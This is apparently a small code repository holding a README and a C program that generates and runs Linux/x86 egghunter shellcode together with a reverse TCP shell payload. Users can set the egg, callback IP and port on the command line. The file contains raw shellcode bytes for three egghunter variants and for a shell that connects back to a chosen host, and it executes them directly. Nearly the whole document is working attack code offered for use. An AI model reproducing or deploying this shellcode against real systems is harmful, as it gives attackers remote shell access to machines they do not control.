├── README.md └── egghunter_shellcode.c /README.md: -------------------------------------------------------------------------------- 1 | # egghunter_shellcode 2 | Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode 3 | -------------------------------------------------------------------------------- /egghunter_shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void PrintShellcode(unsigned char* s); 6 | void change_shellcode_bytes(unsigned char shellcode[], int offset, int n, unsigned char new[]); 7 | unsigned char* ConvertStrToHex(unsigned char* s); 8 | 9 | unsigned char egghunter[][200] = { \ 10 | {"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"}, // access method - 39 bytes 11 | {"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"}, //access revisited (fixed) - 37 bytes 12 | {"\x31\xC9\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"} //sigaction method (fixed) - 32 bytes 13 | }; 14 | 15 | /* unsigned char egghunter[] = \ 16 | "\x31\xC9\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (fixed) - 32 bytes 17 | //"\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7"; //sigaction method (original version by skape - 30 bytes) 18 | //"\x31\xC9\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (fixed) - 37 bytes 19 | //"\x31\xD2\x66\x81\xCA\xFF\x0F\x42\x8D\x5A\x04\x6A\x21\x58\xCD\x80\x3C\xF2\x74\xEE\xB8\x90\x50\x90\x50\x89\xD7\xAF\x75\xE9\xAF\x75\xE6\xFF\xE7"; //access revisited (original version by skape) - 35 bytes 20 | //"\xBB\x90\x50\x90\x50\x31\xC9\xF7\xE1\x66\x81\xCA\xFF\x0F\x42\x60\x8D\x5A\x04\xB0\x21\xCD\x80\x3C\xF2\x61\x74\xED\x39\x1A\x75\xEE\x39\x5A\x04\x75\xE9\xFF\xE2"; // access method - 39 bytes 21 | */ 22 | 23 | /* Reverse TCP Shell: 24 | egg \x90\x50\x90\x50\x90\x50\x90\x50 25 | 127.1.1.1 4444 */ 26 | unsigned char shellcode[] = \ 27 | "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; //IP address at eggsize + 26th byte; Port at eggsize + 32nd byte 28 | 29 | int eggsize = 4; //default 30 | 31 | main(int argc, char *argv[]) 32 | { 33 | 34 | if (argc < 2) 35 | { 36 | printf("Usage: %s [egg] [IP] [Port]", argv[0]); 37 | printf("\nExample: %s 0 0x9050 127.1.1 4444\n" 38 | "%s 1 AABB 127.1.1.1 4444\n" 39 | "%s 2 AABBCCDD 127.1.1.1 4444\n" 40 | "%s 2 3d7xC0D3 127.1.1.1 4444\n", argv[0], argv[0], argv[0], argv[0]); 41 | printf("\n\nDefault egg: \\x90\\x50\\x90\\x50 (push eax, nop, push eax, nop)" 42 | "\nDefault shellcode IP and port 127.1.1.1:4444"); 43 | printf("\n\nAvailable egghunters:" 44 | "\n0 - access method (39 bytes), requires executable egg" 45 | "\n1 - access revisited (37 bytes)" 46 | "\n2 - sigaction (32 bytes)\n" 47 | ); 48 | 49 | return 0; 50 | } 51 | 52 | int eh = atoi((char *)argv[1]); 53 | if (eh < 0 || eh > 2) 54 | { 55 | printf("Invalid Egghunter: %d!\n", eh); 56 | 57 | return 0; 58 | } 59 | 60 | if (argc > 2) 61 | { 62 | if (argv[2][0] == '0' && argv[2][1] == 'x') argv[2] += 2; 63 | 64 | if (strlen(argv[2]) != 4 && strlen(argv[2]) != 8) 65 | { 66 | printf("Egg has to be at least 4 or exactly 8 bytes!" 67 | "\nExample eggs: 9050, 9060, C0D3," 68 | "\n d7xC0D3D, 3d7xC0D3, 3d7xC0D3, 7d7xC0D3" 69 | "\n" 70 | ); 71 | 72 | return 0; 73 | } 74 | 75 | int i; 76 | for (i = 0; i < strlen(argv[2]); i+=2) 77 | if (argv[2][i] == '0' && argv[2][i+1] == '0') 78 | { 79 | printf("No null bytes!\n"); 80 | return 0; 81 | } 82 | 83 | } 84 | 85 | /* change egg if provided */ 86 | int eh_offset = 1; // default offset for access method (39 bytes) 87 | if (eh == 1) eh_offset = 23; // offset for access revisited (37 bytes) 88 | else if (eh ==2) eh_offset = 18; // offset for sigaction (32 bytes) 89 | 90 | if (argc > 2) { 91 | 92 | unsigned char* new_egg = argv[2], *s, *tmp; 93 | printf("Changing egg to %s...\n", new_egg); 94 | 95 | s = ConvertStrToHex(argv[2]); 96 | tmp = s; 97 | 98 | 99 | //fill buffer - 4 bytes of [egg], then concatenate additional 4 bytes of [egg] (8 bytes) 100 | strcat(tmp, s); 101 | if (strlen(argv[2]) == 4) 102 | strcat(tmp, tmp); 103 | 104 | //PrintShellcode(s); 105 | change_shellcode_bytes(egghunter[eh], eh_offset, eh_offset+3, s); 106 | change_shellcode_bytes(shellcode, 0, 7, tmp); 107 | } 108 | 109 | printf("Egghunter %d, size %d\n", eh, strlen(egghunter[eh] ) ); 110 | printf("Egghunter shellcode: \n"); 111 | PrintShellcode(egghunter[eh]); 112 | 113 | printf("\nReverse TCP Shellcode (%d bytes): \n", strlen(shellcode)); 114 | 115 | // change shellcode IP address 116 | unsigned char *s2 = shellcode; 117 | if (argc > 3) 118 | { 119 | printf("%s\n", argv[3]); 120 | 121 | // convert IP address to binary representation and store in ipaddr.sin_addr.s_addr 122 | struct sockaddr_in ipaddr; 123 | inet_aton(argv[3], &ipaddr.sin_addr.s_addr); 124 | 125 | 126 | int i = eggsize*2+26, a; 127 | int e = i+3; 128 | 129 | for (i, a = 0; i <= e; i++, a+=8) 130 | { 131 | s2[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ; 132 | printf("Byte %d: %.02x\n", i, s2[i]); 133 | } 134 | 135 | } 136 | 137 | // change shellcode Port 138 | int port = 4444; //0x115c - default 139 | 140 | if (argc > 4) 141 | { 142 | port = atoi(argv[4]); 143 | unsigned int p1 = (port >> 8) & 0xff; 144 | unsigned int p2 = port & 0xff; 145 | s2[eggsize*2+32] = (unsigned char){p1}; 146 | s2[eggsize*2+33] = (unsigned char){p2}; 147 | } 148 | 149 | printf("Port %d\n", port); 150 | PrintShellcode(s2); 151 | 152 | printf("\n"); 153 | int (*ret)() = (int(*)())egghunter[eh]; 154 | 155 | ret(); 156 | 157 | } 158 | 159 | void change_shellcode_bytes(unsigned char* shellcode_n, int offset, int n, unsigned char* new) 160 | { 161 | int i, a; 162 | for (i = offset, a = 0; i <= n; i++, a++) 163 | shellcode_n[i] = (unsigned char) {new[a]}; 164 | // printf("Byte %d: %.02x\n", i, shellcode_n[i]); 165 | } 166 | 167 | void PrintShellcode(unsigned char* s) 168 | { 169 | printf("\""); 170 | while (*s) 171 | printf("\\x%.02x", (unsigned int) *s++); 172 | 173 | printf("\"\n"); 174 | } 175 | 176 | unsigned char* ConvertStrToHex(unsigned char* s) 177 | { 178 | if (s[0] == '0' && s[1] == 'x') s += 2; 179 | unsigned char buf[strlen(s)/2]; 180 | buf[strlen(s)/2] = '\0'; 181 | 182 | int len = sizeof(buf); 183 | size_t count; 184 | 185 | for (count = 0; count < len; count++) { 186 | sscanf(s, "%2hhx", &buf[count]); 187 | s += 2; 188 | } 189 | 190 | return buf; 191 | } 192 | --------------------------------------------------------------------------------